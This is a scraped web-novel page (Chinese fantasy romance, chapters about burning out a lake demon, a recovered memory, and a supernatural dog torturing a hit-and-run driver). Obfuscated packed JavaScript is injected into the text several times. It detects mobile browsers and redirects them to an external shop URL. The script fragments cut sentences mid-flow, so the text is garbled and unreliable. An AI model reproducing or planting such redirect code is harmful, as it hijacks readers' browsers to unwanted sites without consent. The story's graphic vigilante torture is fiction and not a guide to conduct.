d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689044|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现了,他跟这个湖妖真的不对付,动不动就被激得毛骨悚然。 “那我们岂不是要想办法把那一整片林子都烧了?”少年的眉头都蹙起来了,怪不得之前那位说要用神木为引,如果是神木,应该有办法将那一整片林子都烧了吧? 接收到少年希冀的目光,春渐满轻轻摇了摇头,“我没办法控制那些树,所以才判断它们应该是湖妖的一部分,除非……” 除非他用自己的枝条缠在那些枫树上,再以火攻之,那样,湖妖也就没机会跑了。 可他不想为人类做到这种地步,说到底,他现在还没恢复记忆,对人类根本没什么感情。 独孤尽几乎是同时,跟春渐满想到了一块儿去,他虽然作为人类生存了很久,但他也不同意春渐满为了人类做到这种地步。 一定还有更好的方法,只不过一时间他们没想到而已。 曾钰和少年也不笨,他们只迟了一会儿就也想到了神木如何控制湖妖,但他们也沉默了。 试问,如果他们是神木,也不一定能做到,又怎么能要求神木去牺牲自己? “曾钰,你去看看,湖里还有人排列在水里吗?”独孤尽想要掌握更多信息。 曾钰有阴影,他实在不想看,少年察觉出来,他自告奋勇,“我去看吧。” 初生牛犊不怕虎是真的,少年凑得极近,回来时冲他们摇了摇头,“湖里一人也无。” “一人也无?湖妖也不在湖里?” “不在,湖里什么也没有。” 这么看来,这次虽然看上去哪都没变,实际上什么都变了。 “容我想想。”独孤尽看了眼天上波澜不惊的云层,如果可以他真想上那云睡一觉,好好放松了精神再来想对策。 可燃物……又要能神不知鬼不觉控制住那片枫林…… 云可以缠绕枫林,但云不可燃…… 风也可以,但风也不可燃…… 曾钰忽然抬头,他压低声音,“我会一种术法,或许可用……” “我能让风摩擦生火,只不过这个火没有那么烈,可能没办法将湖妖控制住。” “这不用担心,我会加强术,能将原来的法术增强两倍功力。”少年立马接上,这样的话,或许可以一试。 “或许可行……我们试一试,等会儿接近枫林的时候,别让湖妖察觉到异常,行为举止都注意一些。”独孤尽一个演技最差的,磨练到现在,竟然也可以嘱咐他人了。 “放心,就算一次没成,我也有办法保大家周全,只管尽力。”独孤尽又给大家吃了一记定心丸。 春渐满和曾钰都知道独孤尽的能力,对他已经百分百信任,而少年似乎从未怀疑过独孤尽的能力一样,也用力点了点头。 一行人似寻常般,继续聊着该如何对付湖妖的法子,重新回到了枫树林。 曾钰在悄悄控制风,让风极其柔和地环绕住这片枫林,就等时机到位,独孤尽一声令下,让风生火。 148. 消弭黑雾 独孤尽没急着立马就燃火,他微阂上了眼眸,用尽自己的全部力量去感知风是否已经将这整片枫林都包裹住了。 片刻后,他睁开眼给了大家一个眼色。 所有的事情都发生在一瞬间,枫叶被风裹挟着烈火不断燃烧,逃也逃不出去,伴随着的还有凄厉的嘶叫。 独孤尽并没指望这点火就能将湖妖直接消灭,最多只能阻挠它的脚步,但足够了,独孤尽看了一眼燃烧得越来越烈的火,以及越来越痛苦的同伴,尽力配合大家把火的温度提上去。 只不过这温度一升高,湖妖就挣扎得更厉害了,惨叫声也实在刺激人耳膜。 尤其是少年,有点儿于心不忍了,心里一有犹豫,手上的动作也就没那么利落了,火瞬间弱了不少。 独孤尽倒吸了一口凉气,失策了。 他看了一眼同伴,稍微分出了一点神,将几人直接拢进了“怪奇诊所”的范围里,让他们无法再听到湖妖的惨叫。 骤然间听不见那些燃烧声与痛苦的呻吟,大家手上的动作都迟疑下来,独孤尽赶紧做了解释,“我把声音屏蔽了,以防干扰到我们。” 他没把自己排除在外,毕竟无论是现在,还是之前在“怪奇诊所”里看其他神兽制裁罪犯,他都会难受,倒不是同情这些罪犯,只是作为一个人,看到暴行会难受,这是再正常不过的反应。 其他人没精力回答独孤尽,但能从看到树被烧得越来越秃了,那如蛇一样的湖妖也终于无处可藏,他跌落在地上,却又被地上的火给烫得直跳脚,看他的样子,是想逃回湖里去。 不过……独孤尽已经将枫叶林全包围了,这是一个密闭的空间,连只蚊子都不可能逃得出去,更别说那么大一个湖妖了。 “别烧了……别烧了……再烧我就要魂飞魄散了!”湖妖忍无可忍,用音浪传声,他能看到那波人就在他面前,可他怎么也过不去,那几人所站的位置就像是绝缘区,没一点儿火挨着。 独孤尽见湖妖张着嘴在那一直骂骂咧咧,实在不知道他在骂什么,不过没关系,既然还有力气骂,那就说明他们的火还不够狠。 独孤尽看了春渐满一眼,“满哥,你看看,那些枫树你现在能控制了吗?” 按理说,如果湖妖彻底从树上被剥离了下来,那这些树就变成了普通的树,树能长成这样不容易,如果能挽救一下,还是很有必要救一下的。 “不能,这树应该就是它的一部分。”春渐满尝试了几次都未果,摇了摇头,重新盯着在那一边跳脚一边惨叫的湖妖,“小心!” 这湖妖估计实在受不住了,开始拼死挣扎,往他们这边攻击过来。 只不过,“怪奇诊所”是没办法被破的,准确说,湖妖跟他们就不在一个图层,怎么可能攻击得到他们呢? 不过独孤尽也没有掉以轻心,毕竟,任何失败都是因为不上心。 又齐心协力地磨了湖妖半刻钟,终于火候差不多了,湖妖已经没力气再进行反攻了,也不挣扎了,奄奄一息匍匐在地上,只有还没燃尽的火代表湖妖还活着。 “差不多了,你们可有能捉妖的法器?”独孤尽是绝对不可能放一个受了重伤的妖进画里的,到时候它不疯也要疯,把所有人的生命能量全都夺走也是有可能的。 “法器有,可能够镇得住湖妖的……”少年摇了摇头。 独孤尽又看向曾钰,曾钰也面露难色。 “这种法器,可能还真要问那几个老顽固门派,有传承的门派才能拿的出。”曾钰叹了口气,眼看着湖妖不行了,要在这里功亏一篑实在难以接受。 “等一下,如果没我的火,你们能撑多久?”独孤尽想要回画里看看曾经镇压画里那些神兽的法器是不是也能同样镇压湖妖。 “瞧着湖妖现在的样子,估计能撑一会儿。”曾钰看了湖妖那奄奄一息的样子,还要它别把他们的生命夺走,应该要挺久才能恢复。 “满哥,这里交给你了,有什么危险,你带着他们先跑,留得青山在,不怕没柴烧。”独孤尽说完这句话没再逗留,直接回了画里。 他目标明确,却在走到一半的时候,直接找上了九尾狐,毕竟,之前九尾狐闯进去过,只不过当时他如何审问,九尾狐都说她没看到里面的东西。 这回情况不一样,也许在紧急情况下,能挖掘真相。 “阿尽,你忘了?那些宝贝你都藏在……”九尾狐试探着看向独孤尽,却被独孤尽的眼神吓到了。 还真让他猜中了,九尾狐之前就是在骗他,果然看到了他在法器上的乱涂乱画。 看在她没有大肆宣扬的份上,暂且饶了她这次。 “走。”只一个字就差点把九尾狐定在原地,这种威慑力,她已经很久没感受过了。 不敢再耽搁,九尾狐把独孤尽带到了酒窖前,“阿尽,你自己进去吧,我就不进了。” 独孤尽意味深长地看了九尾狐一眼,没强迫她,进了酒窖,入目就是一排排掩耳盗铃的酒,花里胡哨,要从这些酒里找到法器还真有点儿费劲。 独孤尽收敛了心神,通过感知力很快就锁定了法器所在,走过去一看,差点没能把法器认出来。 他是记得自己那次喝醉后涂了些幼稚至极的涂鸦,但这也太幼稚了吧…… 可事态紧急,容不得他再磨蹭,挑了一些看起来能收得下湖妖的,回到了战局中。 几个满心期待的人看到独孤尽手上拿着的东西后都沉默了。 “……” “……” “……” “这是什么东西……”最后还是曾钰开了这个口。 别告诉他那根长长的画了一整个动物园上去的棍子是法器,也别告诉他,那个像宝塔却画了无数小花的是法器…… “你都从哪借的?” “呃……别管这个,好用就是好法器。”独孤尽难得说了谎,他没承认也没否认曾钰的话,只是下意识回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689045|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 避了。 但春渐满看独孤尽这个反应,却明白了这东西肯定不是他借的,一定是他自己的。 没想到独孤尽的品味是这样的,果真是人不可貌相啊。 独孤尽心念转动,将自己的能量附在法器上,试图启动法器。 说实话,没有做神仙那段记忆的他,还真没用过这些法器,也不知道到底应该怎么启动,只能凭着直觉,硬着头皮尝试一下。 索性,这些法器都认主,感受到独孤尽的能量后,立马就活泛起来,虽然身上被主人画了那些乱七八糟的东西,但也不敢有怨气,该行动时就行动,都没让独孤尽多吩咐,那棍一样的东西就用力揍了湖妖一记,本就奄奄一息的湖妖瞬间连动都不动了,直接晕死了过去。 随后那被画满了花花草草的塔将湖妖收了进去。 “就这么解决了?”曾钰满脸不可置信,湖妖都不挣扎的? 少年也不敢相信,他还没见过这么厉害的法器,不论什么妖被收服的时候都会挣扎,怎么湖妖不挣扎? 独孤尽轻咳了一声,“咳,现在还有个问题,黑雾还没消失。” 湖妖都被他们收了,这片位置居然还存在,也就说明,黑雾仍旧没消散。 按理说,黑雾是湖妖用来控制人的利器,应该随着湖妖被收服就消散,可现在看来,可能要让湖妖心甘情愿,不仅要收服他的身还得收服他的心。 独孤尽一个头两个大,他以前是怎么收服那么多神兽的?难不成以前的他特别的多情? 很有可能……怪不得他这回要作为人类下来历情劫,原来一切都有缘由。 独孤尽又看了一眼失去了人类记忆的春渐满,不然怎么说叫情劫呢,好不容易两情相悦,还得让春渐满失去作为人类的记忆,那没有做神仙记忆的他,跟只有做神仙记忆的春渐满要怎么在一起? 让一个神仙爱上一个人类? 虽然他表现得挺不像人类的,但这还是太困难了。 独孤尽暗自摇了摇头,“我先把你们送回酒店,我回去好好琢磨一下。” “等等,让我再试试,说不定现在有用。”曾钰可没忘了,他最初就是因为要尝试消弭黑雾才跟独孤尽出来的。 曾钰稍微调息了一下,刚刚为了收服湖妖费了他太多精力,数息后,他重新施术。 一样的术法,却让周围的景象开始晃动,一开始只是那些被焚烧得发黑的枫树被连根拔起,随后湖水也脱离了引力,往天上去。 一切都变得不自然,逐渐瓦解,像虚幻终于被人打破一般,周围骤然乍亮,白的刺目。 所有人都闭上了眼睛,在此睁开时,他们好端端站在城市里,既没有仙境也没有黑雾,连空气里似乎都还残留着汽车尾气的汽油味道。 “这是真实的吗?”少年的脸上有几分恍惚,他单膝跪地,伸手触摸了一下柏油路,放到鼻尖轻嗅,是熟悉的味道。 人类,终于回家了。 149. 恢复记忆 风很静,一切真实都像假的一样,在曾钰和少年还沉浸在成功的欢喜中时,独孤尽和春渐满对视了一眼,“还得去个地方。” “林桥别馆要再清理一下。”那可是最初供养黑雾的地方。 “我跟你去。”春渐满虽然不记得那是什么地方,但直觉告诉他,那里有让他失忆的原因。 “我们也……”听到了两人的对话,曾钰和少年异口同声,可还没等他们说完,就被独孤尽制止了,“你们俩先回酒店休息吧。” 那边的情况暂且不明,且作为最初供养黑雾的地方,那里的黑雾更能影响人。 “回去之后,找陆烨修,让他带你们去把蜡烛阵拆了。”虽说现在来看,那些阵法已经失效,不可能再成事,但是不怕一万就怕万一,斩草还是得除根。 “放心,我们还会再见,有什么想说的到时候再说。”独孤尽又安抚了一句,就扣着春渐满的手腕,直接瞬移到了林桥别馆附近。 “这里就是林桥别馆?”春渐满四处瞭望了一番,这个位置很微妙,他之前翻阅陆烨修给他的那本古籍时,偶然瞥到过一眼,有个地形就是这样的,似乎……可以将生魂扣留在原处,永世不能超生。 春渐满把这些告知了独孤尽,果不其然看到独孤尽脸色瞬间沉了下来,“这里留不得了。” “你想怎么做?” “全燃了。”独孤尽看着偌大的别馆,又看了眼那一整排的监控。 这里应该是不少大人物的销金窟,但他必须捅这个马蜂窝。 “满哥,我想把这里燃了。”独孤尽又重复了一遍,这次他的语气比先前坚定。 “你不是已经做好决定了吗?”春渐满不明白他为什么又重复一遍。 独孤尽一瞬笑开,那双桃花眼里都蓄了泪,“没事。” 现在的满哥没有作为人类的记忆,怎么可能遵循人类的规则,他不会像之前一样严令禁止他不能违反法律,也不会用人类的道德约束他。 明明是更利于他行动的,可他怎么这么难过呢? 他想他的满哥了…… 春渐满,你什么时候能回家? “我不喜欢你现在的眼神。”春渐满抬手遮住独孤尽的双眸,“像是在透过我看别人。” “什么都瞒不过神木大人。”独孤尽顺势把自己的脸埋进春渐满的掌心,“我想你了。” 最后那句话说得极轻,可却逃不过春渐满的耳朵,他当即蹙眉,把手抽了回来,嫌弃地在独孤尽身上抹掉沾上的泪水。 “人类的那个我就那么好?”春渐满一直都很聪明,根本不用怎么猜就知道独孤尽在想谁。 “不是说满哥你现在不好,只是,我喜欢上的是他,当然,现在的你也很可爱。”独孤尽再次抬眸时,眼眶微红,但眼里只有调笑的意思了,刚才的伤感已经被他藏起。 任谁都不会喜欢被人当面缅怀,这种感觉很奇怪。 “你打算怎么燃?”春渐满难得回避了,他也说不上来,就觉得迎面而来的那份感情太浓重,让他难以接受,虽然这感情并不是对他的,可他就是不舒服。 “先感知一下里面有没有别的,没有的话……就做个法外狂徒,给它扬了。”独孤尽知道自己现在的能力已经逆天,要销毁一处房屋简直轻而易举,可他现在真的希望曾经的那个满哥回来,告诉他不能这么做。 也许……他把这里毁了,他的满哥就会回来了…… 回来之后呢?一定会把他绳之以法的吧。 对,他的满哥一向是铁面无私的。 “你在犹豫什么?”春渐满左等右等也没见独孤尽有动作,有点不耐,“风向是对的,火会往那边燃。” 独孤尽这次没回答春渐满,他浮空塌了几步,站在半空中,俯瞰整座别馆。 这原本只是一座供人居住的地方,却承载了这么多的黑暗,这么多的痛苦。 独孤尽的手轻轻抬起,现在,他只要动动手指,就能让火将所有的一切都燃尽。 将一切平息,让所有生灵都解脱。 火不知何时燃起,却怎么止也止不住,警报的声音刺耳地盘旋在半空中,可路过的人没一个有闲情抬头看一看这空中。 否则就会看到有个人没有任何支点的临空而立。 “独!孤!尽!”那是一声再熟悉不过的暴怒。 “还愣着干嘛?!报警!找火警!快来灭火!”独孤尽顺着声音望过去,春渐满脸上全是怒色。 “满,满哥?”他有些不敢确认。 “是我!估计是黑雾彻底被销毁了,刚才有一股什么东西从我身上抽离了,我脑海里原本一直有什么紧绷着,那个地方打不开,现在那东西没了,我记忆回来了。”春渐满焦急地看着燃烧的房屋。 “快啊,还傻愣着干什么,独孤尽!” “哦,哦,不,不用找火警。”独孤尽好一会儿才回过神,刚要拨打电话的手收了回去,重新朝下点了点别馆方向,天上的云忽然变得乌黑,雨说下就下。 “你……”春渐满虽然现在记忆全乎了,知道独孤尽的能力已经逆天,可亲眼所见还是让他有点儿震撼。 “没事,这样的大雨,一会儿就能让火灭了,不会影响到附近。”独孤尽知道春渐满在担心什么,知道他的满哥在担心什么。 这些……都是那个没有记忆对人类漠不关心的春渐满不会关心的。 他的满哥,真的回来了。 “满哥,好久不见,我真的好想你。”独孤尽从空中一下瞬移到春渐满身边,可下一秒,他张开还没拥抱到的人双手就被什么东西扣住了。 那是一副木质的手铐。 “满哥……” “你当着警察的面纵火的时候就该想到我不可能让你逍遥法外。”春渐满的长发已然消失,变回了原来的短发,脸上的神情也从淡漠变得正义凛然。 “你……你干嘛看着我傻笑?这是什么可笑的事情吗?”春渐满快恼羞成怒了,这人怎么一段时间不见,变得越来越厚脸皮了,真当他会舍不得, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689046|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会徇私枉法不成?! “没……没有,我是该被抓,我心甘情愿被你抓,春警官,带我归队吧。”独孤尽脸上还是笑,他像是要把这段时间的笑都补回来一样。 “哦对了,你还要喝汽水吗?”独孤尽用下巴指了指不远处的自动贩售机。 “……”春渐满忍无可忍,给了独孤尽一个爆炒栗子,“不喝。” “哈哈,哈哈……”一路上独孤尽的傻笑就没停,再加上他戴着那副木手铐,看起来格外像刚从精神病院里逃出来的。 “你能不能停一下,冷静一下。”春渐满深吸了一口气,双手直接按在了独孤尽脸上,把他的嘴角往下扯,可独孤尽的嘴角肌肉也太强大了,怎么扯都扯不下来,始终上翘着。 “好的,满哥,我不乐了,咳,噗哈哈,嗯,不乐了。”独孤尽强行忍了好一会儿才能让自己不乐出声。 没了这份笑声,一时间,两人静默无言。 “我以前见过你。”春渐满忽然从记忆深处扒拉出了一点什么,“你那个时候就挺欠的。” “满哥你见过我?那我以前真的也是神仙?我主管什么?”独孤尽歪着脑袋凑过去挨着春渐满,春渐满伸手将他的脑袋挡开,“你以前虽然欠,但很靠谱,后来不知道为什么,自请下凡来历劫。” “上天这就同意我下来历劫了?”独孤尽忽然觉得上面管得也挺宽松,没想象中那么可怕。 “不同意,难道让你一直做个半仙?你必须经了这个劫,才能成为正仙。”春渐满领着独孤尽又走了一段,才终于看到普通人类。 “他们这是……” “他们应该也很久没回家了,现在总算世界恢复正常了,自己也恢复正常了,再也不用怕失言失手伤害自己在意的人了,开心的吧。”独孤尽欣慰地看着亲吻大地的人,不枉他被扣木手铐。 “看到前面了吗?”春渐满停了下来。 “快到地方了,满哥要不要亲自审我?”独孤尽目视前方,毫不逃避。 “你还希望别人审你?节约点资源吧。”春渐满根本不用审,就能直接给独孤尽攥写案件报告。 “满哥,以后我就是有案底的人了,你不会不要我吧?”一只脚都迈进局子了,独孤尽才想起来问。 “那你之后回了天上,会不要我吗?”春渐满反问独孤尽,一手抓着木手铐把独孤尽带进了局里。 “我这能不能算自首,从宽处理?”独孤尽不依不饶,他现在也不知道天上的规矩,如果不让他谈情说爱怎么办?到时候还有机会再跑下来吗? “满哥,要不让我打个电话?我得给上面汇报一声,黑雾消失的事。”独孤尽讨饶道,他确实是不想坐牢,事有缘由,求不来他铁面无私的满哥,他只能求求上面了。 “我会替你打报告,难道我在你心里就是对你不管不顾的人?”春渐满这句话问出来的时候,让人听不出波澜,可独孤尽一下就慌了。 糟了,他好像说过头,惹他的满哥生气了,怎么办,在线等! 150. 肇事逃逸者 “满哥……”独孤尽上前一步,靠近春渐满,想张开双臂将他揽在怀中抱紧,可他的手刚抬起来,就被木手铐给禁锢住了。 其实他大可直接挣脱,但这个手铐是春渐满给他戴上的,他不想破坏。 索性举高了双臂,环成一个圈套住了春渐满,双手勾在春渐满的颈后,这下,他们的距离被迫拉近。 “你!”春渐满能够感受到急切地呼吸喷洒在自己脸上,他垂了垂眸避开了独孤尽的视线。 “满哥,只有你一直在我身边,你是最关心我的人。”独孤尽难得没油嘴滑舌,他真诚且认真地看着近在咫尺的人。 “我当然知道你有多在意我,但是,我也知道你有多大公无私,所以不想让你为难,电话让我来打就好。”独孤尽的话语充满蛊惑,春渐满一开始听到已经开始动摇,可很快他就抵挡住了糖衣炮弹。 “于情于理这件事都该由我上报,你上报的话就是特事特办。”春渐满一句话把独孤尽的狡辩都堵了回去。 独孤尽轻叹了口气,其实神仙做人真的挺难的,想为人类做点事吧,还得受人类的法律约束。 尤其,他现在还没找到回天上的办法,但他如果真的回去了,他的满哥能不能跟他一起? 他的满哥会愿意丢下人类跟他一起回去吗? 如果他是因为要经历情劫才下了凡,那满哥又是因为什么从神木变为了人类? 现在他找回了自己的能力,还会继续遵循人类的规则,完全不违规吗? 独孤尽觉得千头万绪理不清,就在他打算放开春渐满时,忽然感受到了一抹充满恶意的生命能量。 他一个激灵,抬头就透过局子的大门看到外面马路上一辆车疾驰而去,蹭到了一只正在过马路的小狗。 “等等,有情况,满哥,我不跑,我先去看看情况。”独孤尽说完直接瞬移到了小狗身边,蹲下身抚摸了一下小狗的脑袋。 它似乎被撞晕了,有些神志恍惚,感受到脑袋上柔软的触感后,才开始颤抖,像是反应过来刚才它刚从生死一线中逃脱。 “不对……你是……天狗?!”独孤尽这会儿认出来了,这不是被他派出去监管“怪奇诊所”分所的天狗吗,怎么会沦落到变成小流浪了? “呜——”天狗这下彻底回过神了,想到刚才的事,一怒之下变化成了巨兽,独孤尽想遮都来不及遮。 “春老师教你们的都忘了?”独孤尽本来想骂得更难听点,比如都忘到狗肚子里去了吗?可话到嘴边,想到天狗就是狗,这话就骂不出来了。 “呜……”被呵斥了,天狗勉强想起不能在人间现出原形。 “主人,那家伙是故意撞我!” “我知道,刚才我感受到了。”独孤尽就是感受到了那股恶意才赶出来的,他微抬手指,将这片化为了“怪奇诊所”的区域。 现在是世界恢复正常的第一时间,那家伙估计还不知道,凭借着自己身上有黑雾影响,故意开车出来压马路。 那种恶意,绝对是故意干恶事。 独孤尽还没行动,就看到又一辆车急匆匆过来了,又往前开了一段,居然停在了被他控制下来的那辆车旁边。 “你这个杀人犯!必须为自己做的事负责!你怎么还能开车!你赔钱!赔医药费!”声嘶力竭的声音已经快要破碎,像是熬了很多夜,极度疲惫,即将崩溃。 接触这些事情多了,独孤尽第一时间判断这两人得控制,不然要出大事。 春渐满现在有神木的能力,虽然独孤尽瞬移跑走了,但他也不会落单,直接追上,“什么情况,你又开业了。” “不开不行,快出人命了。”独孤尽轻摇了摇头,他用下巴指指不远处停着的两辆车。 其中一辆,就是刚刚蹭到天狗的,是豪车,车主到现在都没下车,另一辆的车主下了车一直在拍打豪车的窗户,如果他手里有武器,估计车窗都直接砸了。 “先把事态按在可控范围内。”独孤尽超前走了几步,喊住了满脸沧桑的小伙,“你找他什么事?” “需要我们帮助吗?旁边就是警局,如果是杀人犯比较危险,我们可以帮你通知警察。” “有什么用,我的案子已经半年了,该判的都判了,该强制执行的却一直执行不了。”这位看起来特别沧桑的小伙满脸颓然,他就差跌坐在地上了。 原来,小伙的父亲在半年前被眼前这辆豪车撞了,那角度不可能看不见人,而且在拐角处,本就该减速,可对方是一脚油门加速开过去的,他的父亲被撞倒后,对方就逃逸了,后来还是好心人叫了救护车。 医生说,还是耽搁了点时间,如果能在第一时间施救,可能他的父亲就不会昏迷不行,不会像现在一样变成植物人。 因为伤情严重,经常进icu,医疗费用高昂,法院判肇事者赔偿八十万医疗费用,对方开的那辆车就不止百万,可在法院判决下来前,这车就已经被转移到了别人身上,肇事者竟身无分文,无法强制执行赔偿。 他的父亲本可以用这笔赔偿金接受更好的治疗,说不定就能醒来,不会一直昏迷在病床上。 为了给父亲治病,他和母亲变卖了家里的房子,为了让这个恶魔早日赔偿他该赔偿的,他日夜奔波,连工作也没保住,原本他已经到了婚嫁的年纪,也谈了个美好的女孩子,要与人携手一同往下走,可出了这档子事,他主动提出了解除婚约,他现在负债累累,根本没办法给对方一个美好的未来。 这是一个原本幸福美好的家庭被肇事逃逸者毁掉的典型案例。 独孤尽沉默了片刻,看向小伙,“你现在打算怎么做?” “我父亲的病情又恶化了,医院那边继续交手术费用,我只要他先出一些……先出一些……”小伙即便被逼到绝境,也从未想过走极端,他试图请求恶魔可怜世人。 “春警官,按照正常程序,怎么走?”独孤尽的语气很冷。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689047|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “证据充足的情况下,只要发现他们故意转移财产,可以追回,强制执行。”春渐满非常坚定,可他也知道,如果证据充足,早就执行了,估计是对方太过狡猾,钻了漏洞。 “你来。”春渐满看了独孤尽一眼,这一眼格外沉重。 “那我就不客气了。”独孤尽阂眸了一瞬,再次睁开眼时,眼里都是狠厉。 左不过现在这里已经是“怪奇诊所”的范围,他可以尽情操作。 “你要不要……算了。”独孤尽很想让小伙亲眼所见对方的惨状,可想到小伙是个遵纪守法的好公民,估计虽然很恨对方,但也没想过用暴力的手段让对方怎么样。 独孤尽从口袋里拿出了一张纸巾,将治愈力施加在纸巾上,“你把这个带去医院,将他放在你父亲的身上,只要接触到就行。” “这是什么?”小伙觉得自己像做梦一样,明明是来问仇人要钱的,现在却碰到了……神棍? “知道‘怪奇诊所’吗?”独孤尽冲他眨了下眼睛,“我想,现在应该没人敢冒充‘怪奇诊所’。” 小伙听到“怪奇诊所”的名头浑身一个激灵,差点就要跪下来叩拜被独孤尽直接抵了回去,“快赶去医院吧,去晚了就算是我也救不活没生命力的人。” 如果人真的走了,他可没办法起死回生。 而且,接下来的画面,实在不适合给这么善良的人看。 见人驱车驶离了,那辆豪车的主人才降下车窗,冲着独孤尽和春渐满翻了个白眼。 独孤尽怀里还托着天狗,他松开手,让天狗变化成巨兽,接下来,想必不用他指示,天狗都知道要怎么做。 “啊啊啊啊啊——你是什么怪物!!!”果不其然,撕心裂肺的惨叫骤然响起。 天狗的爪子比什么都锋利,轻松就撕裂了这辆豪车,直接把人从车里拎了出来,狠狠甩在地上。 只是这么一甩,那恶魔就已经五脏六腑都错了位,脏器破裂的痛太过争先恐后,没等他肾上腺素飙升,天狗就挪动车狠狠从他身上压了过去,来来回回反复碾压。 血淋淋白花花黏糊糊一片在地上都抹匀了,天狗才仰天长啸一声,让一切复位。 只不过复位后,那位恶魔的记忆和所经历的痛楚是不会消弭的,这回他坐在车里疯狂把车窗摇上去,试图驱车逃离,但天狗如山一样挡住了他的退路,直接将车举了起来,疯狂摇撞,一通操作后,车里的惨叫越来越弱,车窗上只有鲜红一片。 再次复位后,车里的人开了车门,跌跌撞撞下了车,一屁股坐在地上,随后颤抖着跪了下来,匍匐在地,求饶的话在嘴边还没说出来,就先吐了一地。 天狗可没忘了先前自己还被这车险些撞到,它趁这人瘫在地上,控制车用极高的车速驶来,擦过他的身体,每次只撞那么一丁点儿。 精神折磨有时候比□□折磨更让人崩溃…… 不过对这种恶魔,完全不必手软。 151. 诉说罪行 “说吧,你的罪行。”天狗从巨兽变回之前小小一只狗的模样,可口吐的却是人言。 肇事者两眼一黑,差点又要死过去,但被天狗威胁了一句后,又强撑住了,他可不想再经历一遍刚才如噩梦般的经历。 “我!我!我有眼不识泰山,不该撞您!”他五体投地对着天狗又磕又拜,非常虔诚。 “我劝你把所有罪行都诉说出来,否则,还有十八种……方式等着你。”天狗自然知道要怎么让人把真相吐露出来,只不过,它想节约时间,用最快的速度把事情结了,它还有其他事情找主人呢。 “我……您到底是什么?!阎王吗?”肇事者满脸都是泪,他真的害怕了。 “你可以这么认为,再不速速说来,我可就要……”这回没等天狗完说,肇事者就开始滔滔不绝,“我说,我说!” “我撞了个人,应该没死,我撞他真不是故意的,就是喝了点酒,没看清人,撞上去了。” “你不会以为我分辨不了什么是真话什么是假话吧?”天狗不再跟他废话,重新变回巨兽的样子,拎着他就重新甩回了车上。 这下,任凭肇事者再怎么求饶了都没用了,此后种种仿若黄粱一梦,肇事者到最后连后悔的想法都没了,已经接受了自己无限进入痛苦之中。 等到天狗停下时,肇事者两眼无神。 “说,你的罪行。” “我从小就爱虐杀小动物,具体数量不记得了,我会把它们……”肇事者絮絮叨叨,他没有任何感情,很直接地描述那些残酷行为。 其中无数行为是天狗想都想不出的,它觉得自己刚刚对他做的就已经够过分了,原来人真的能恶魔成那样。 “长大后,我有了自己的第一辆车,就会故意去找有流浪动物出没的地方……或者买一些宠物回来……”他的话还在继续,但天狗已经忍无可忍了,它怎么看眼前这家伙都觉得极度可恶。 这边的制裁还在继续进行,受害者那边拿着独孤尽给他的纸巾到了医院,他的父亲在icu病房里,他穿了防护服才终于进去,偷偷将纸巾塞进了父亲的手中,期待着奇迹。 他父亲被撞后,脑中有几块地方的淤血久久不散,一开始做了手术,可有些地方不方便将血引出,也因为他送医的迟了,才导致了这样的后果。 他两只眼睛都紧紧盯着那张纸巾,可上面被独孤尽施加的治愈能量他是看不到的,这些能量一接触到昏迷者就像雾一样四散开来,将患者包裹起来,侵入进去,进行修复。 他又盯了会儿有点盯不住了,像是被抽空了浑身的力气,瘫软在病床边。 求求了,各路神仙保佑他爸快点好起来吧! 求求了,让他爸醒过来吧! icu病房的监控里,他像是昏迷了一样倒在病床边,这一幕吓到了医护人员,赶忙要把他带出来。 就在他极度失望,觉得这次也同先前一样,又是空欢喜一场的时候,他紧握着的手居然动了动。 “爸!爸!”喜极而泣的时候,人真的会意识不到眼泪已经夺眶而出,“医生!医生,快!” 原本打算把他带出去的医生现在见他精神十足,立马去查看病人情况。 不知道怎么出了奇迹,这名总在病危的患者竟然一切生命体征都恢复了正常数值。 一系列的加急检查后,患者转入了普通病房。 毕竟,对着一个恢复正常,甚至就差下地直接自己走路的人,实在没法再放在icu观察了。 “爸!你总算醒了!” “‘怪奇诊所’,‘怪奇诊所’真的,是真的!”他有些前言不搭后语,想到什么就往外说,脸上的泪总算被他胡乱擦了,可又有新的不断冒出来,“对,对,叫妈过来,要告诉他……” 